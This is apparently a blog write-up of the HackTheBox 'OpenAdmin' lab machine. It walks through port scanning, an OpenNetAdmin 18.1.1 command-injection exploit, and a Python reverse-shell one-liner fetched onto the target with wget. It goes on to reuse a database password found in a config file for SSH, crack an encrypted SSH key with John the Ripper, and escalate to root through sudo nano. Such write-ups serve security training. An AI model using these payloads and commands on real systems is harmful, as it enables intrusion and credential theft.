HTB OpenAdmin writeup

HackTheBox OpenAdmin machine write up, easy Linux machine. The process as always: Scan –> Initial foothold –> Own User –> Own Root.

Initial Scan

# added to hosts as    OpenAdmin
$ sudo nmap -sV -sC -sT -O -o nmapinitial OpenAdmin

Scan results

Starting Nmap 7.80 ( ) at 2020-01-07 02:44 CET
Nmap scan report for OpenAdmin (
Host is up (0.12s latency).
Not shown: 995 closed ports
22/tcp    open     ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp    open     tcpwrapped
1063/tcp  filtered kyoceranetdev
10621/tcp filtered unknown
15003/tcp filtered unknown
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 136.42 seconds

We got an OpenSSH server, a webserver running Apache and several filtered ports.

Website on port 80

The website on port 80 looks like the default, lets launch dirbuster in the background just in case.

Dirbuster Results

There are two paths that looks promising, /music/ and /ona/. /music/ does not seem to contain anything besides the link to /ona/, lets analyze /ona/.

OpenNetAdmin Web

We have an OpenNetAdmin v18.1.1, which seems to be outdated. Searching for OpenNetAdmin 18.1.1 in Google gives us info about an existing command injection vulnerability, and two potential ways to exploit it, via the Metasploit module or a bash script.

OpenNetAdmin Vuln Screnshoot of the Metasploit module in ExploitDB.

Results of searchsploit:

~$ searchsploit OpenNetAdmin
--------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                 |  Path
                                                               | (/usr/share/exploitdb/)
--------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                  | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)   | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                    | exploits/php/webapps/
--------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

The module is not in Metasploit, we can add it using the instructions provided in this article or use the bash script.

Initial foothold

I will use the Metasploit module for the convenience, lets add it and try it.

$ mkdir -p ~/.msf4/modules/exploits/php/webapps/
$ cp /usr/share/exploitdb/exploits/php/webapps/47772.rb ~/.msf4/modules/exploits/php/webapps/
$ sudo updatedb
$ msfconsole

       =[ metasploit v5.0.67-dev                          ]
+ -- --=[ 1958 exploits - 1093 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > search opennetadmin

Matching Modules

   #  Name                       Disclosure Date  Rank       Check  Description
   -  ----                       ---------------  ----       -----  -----------
   0  exploit/php/webapps/47772  2019-11-19       excellent  Yes    OpenNetAdmin Ping Command Injection

msf5 > use 0
msf5 exploit(php/webapps/47772) > show options

Module options (exploit/php/webapps/47772):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SRVHOST          yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /ona/login.php   yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

msf5 exploit(php/webapps/47772) >

After configuring it I could not manage to make it work, so lets use the script.

~$ /usr/share/exploitdb/exploits/php/webapps/ http://openadmin/ona/

$ who
joanna   pts/0        Jan  7 15:52 (
jimmy    pts/1        Jan  7 15:52 (
jimmy    pts/2        Jan  7 15:52 (
jimmy    pts/4        Jan  7 15:53 (

$ whoami

We got an initial foothold.


We have a low level shell with www-data privileges, lets try to escalate to user.

First lets get a better shell:

## On our computer
# Create reverseshell
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/bash","-i"]); >'

# Webserver to send file to target machine, wait for connections with nc
sudo python3 -m http.server 80
nc -lvp 1337

## On the server, create a hidden dir so we do not interfere with other people
www-data@openadmin:...$ mkdir /tmp/.my
www-data@openadmin:...$ wget -O /tmp/.my/
www-data@openadmin:...$ python3 /tmp/.my/

We know that the server is Apache, the first idea that comes to my mind is view the website config files, is case there are any other websites, and to obtain the path from where the files are being served. Listing the sites-available directory gives us an interesting piece of info:

$ ls -lshA /etc/apache2/sites-available
total 16K
8.0K -rw-r--r-- 1 root root 6.2K Jul 16 18:14 default-ssl.conf
4.0K -rw-r--r-- 1 root root  303 Nov 23 17:13 internal.conf
4.0K -rw-r--r-- 1 root root 1.3K Nov 22 14:24 openadmin.conf

$ cat /etc/apache2/sites-available/internal.conf

    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined


The internal site seems interesting, using curl on the machine gives us a login form. I cannot think of anything easily exploitable (let’s leave SQLi or other web attacks as a last resource) so lets look for other things.

At this point I tried running several enumeration tools but none seemed to give any interesing info, after a lot of lsing and cating around and many dead ends I finally found a potential password in /opt/ona/www/local/config/

$ cat /opt/ona/www/local/config/database*

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',

Let’s try the password with SSH with the three users we know are in the machine, root, jimmy y joanna (as seen in /home)

~/htb/OpenAdmin$ ssh jimmy@OpenAdmin
The authenticity of host 'openadmin (' can't be established.
ECDSA key fingerprint is SHA256:loIRDdkV6Zb9r8OMF3jSDMW3MnV5lHgn4wIRq+vmBJY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'openadmin,' (ECDSA) to the list of known hosts.
jimmy@openadmin's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Thu Jan  9 19:40:21 UTC 2020

  System load:  0.26              Processes:             435
  Usage of /:   49.2% of 7.81GB   Users logged in:       2
  Memory usage: 41%               IP address for ens160:
  Swap usage:   0%

  => There is 1 zombie process.

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

41 packages can be updated.
12 updates are security updates.

Failed to connect to Check your Internet connection or proxy settings

Jimmy home directory is empty, but remember the internal directory inside /var/www? Lets have a look now:

jimmy@openadmin:/var/www/internal$ ls -lshA
total 20K
4.0K -rwxrwxr-x 1 jimmy jimmy     918 Jan  9 19:33 a.php
4.0K -rwxrwxr-x 1 jimmy internal 3.2K Nov 22 23:24 index.php
4.0K -rwxrwxr-x 1 jimmy internal  185 Nov 23 16:37 logout.php
4.0K -rwxrwxr-x 1 jimmy internal  339 Nov 23 17:40 main.php
4.0K -rwxrwxr-x 1 jimmy jimmy     916 Jan  9 19:40 test.php
jimmy@openadmin:/var/www/internal$ cat index.php


      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>


The index.php consists of a login form where if the user and password match we get redirected to /main.php. Let’s see the contents of main.php:

jimmy@openadmin:/var/www/internal$ cat main.php

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

As seen in the code, if we are logged in the server will send us joanna’s private key. We can just comment the check ("//” before the if(!is…) ) and access the file using curl. Remember it is good practice to undo your changes or reset the machine after you are done so other users do not get affected.

jimmy@openadmin:/var/www/internal$ cp main.php .main.php
jimmy@openadmin:/var/www/internal$ nano .main.php
jimmy@openadmin:/var/www/internal$ curl

<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

jimmy@openadmin:/var/www/internal$ rm .main.php

We will save the key as joanna.key, but because it is encrypted we will need to crack it first.

~/htb/OpenAdmin$ nano joanna.key
~/htb/OpenAdmin$ chmod 400 joanna.key
~/htb/OpenAdmin$ ssh joanna@OpenAdmin -i joanna.key
# We do not know the password, ninja does not work
Enter passphrase for key 'joanna.key':
Enter passphrase for key 'joanna.key':
Enter passphrase for key 'joanna.key':

~/htb/OpenAdmin$ python3 /usr/share/john/ joanna.key >pw
  /usr/share/john/ DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
    data = base64.decodestring(data)

~/htb/OpenAdmin$ john --wordlist=/usr/share/wordlists/rockyou.txt pw
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna.key)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:08 DONE (2020-01-10 01:16) 0.1219g/s 1748Kp/s 1748Kc/s 1748KC/sa6_123..*7¡Vamos!
Session completed

We got a match, lets test it.

~/htb/OpenAdmin$ ssh joanna@OpenAdmin -i joanna.key
Enter passphrase for key 'joanna.key':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
Last login: Thu Jan  2 21:12:40 2020 from 10.10.X.X
joanna@openadmin:~$ ls
joanna@openadmin:~$ cat user.txt

And we finally got the user flag.


Using the tool Linux Smart Enumeration, we discover that we can execute sudo /bin/nano /opt/priv without providing a password. Using the following nano GTFBin, we get a root shell, and with it the root flag.